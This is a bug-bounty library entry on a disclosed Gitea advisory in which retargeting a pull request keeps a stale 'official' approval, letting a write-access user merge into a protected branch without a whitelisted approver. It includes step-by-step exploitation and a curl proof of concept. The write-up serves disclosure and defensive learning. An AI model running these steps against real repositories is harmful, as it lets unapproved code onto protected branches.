# Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

Gitea preserves stale official=true review flags when a PR is retargeted, letting a write-access user merge into a protected branch without a whitelisted approver.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): yonatan-pl
- Found by: yonatan-pl
- Disclosed: 2026-07-21
- CVE: CVE-2026-58439
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w5pg-649r-p6gg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w5pg-649r-p6gg
- Tags: area:web domain:web impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** Pull request review/merge API and branch protection rules
**Root cause:** The `official` flag is computed once at review submission against the then-current base branch and stored as a boolean; `ChangeTargetBranch` updates `pr.BaseBranch` but never re-evaluates or dismisses existing reviews, and merge-time `GetGrantedApprovalsCount` trusts the stored flag.
**Steps:**
1. Create unprotected branch from master: `POST /api/v1/repos/$OWNER/$REPO/branches` with `{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}`
2. Push malicious commit to `malicious-branch`
3. Create PR with `head=malicious-branch`, `base=tmp-unprotected`
4. Accomplice (non-whitelisted) approves: `POST /pulls/N/reviews` `{"event": "APPROVED"}` → response `"official": true`
5. Retarget PR: `PATCH /pulls/N` `{"base": "master"}`
6. Verify reviews still show `"official": true, "dismissed": false`
7. Merge: `POST /pulls/N/merge` `{"do": "merge"}` returns 200 OK, commit lands on master
**How found:** Code reading of the review submission path (`IsOfficialReviewer` against `pr.BaseBranch`) versus the retarget path (`ChangeTargetBranch`), noticing the stored boolean is never recomputed and merge-time counting trusts it.
**Exploitation:** Attacker with write access creates an unprotected branch, opens a PR against it, has any non-whitelisted account approve (yielding official=true), then retargets the PR to the protected branch; the stale approval satisfies the required-approvals count and the merge succeeds without any whitelisted maintainer approval.
**Escalation:** Write-but-not-admin collaborator effectively nullifies admin-configured approval whitelist requirements, gaining ability to push arbitrary code to protected branches.
**Insight:** Whenever an authorization decision is cached as a boolean on a record, enumerate every mutation of the inputs that decision depended on (here: base branch) — retargeting, transfer, rename, permission changes — and check whether the cached flag is invalidated.

## Proof of concept (copied exactly from the original report)

**curl PoC: approve on unprotected branch then retarget to master**

```
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N

# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true

# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'
```

**Merge request succeeding after stale official approval**

```
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false

# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
```

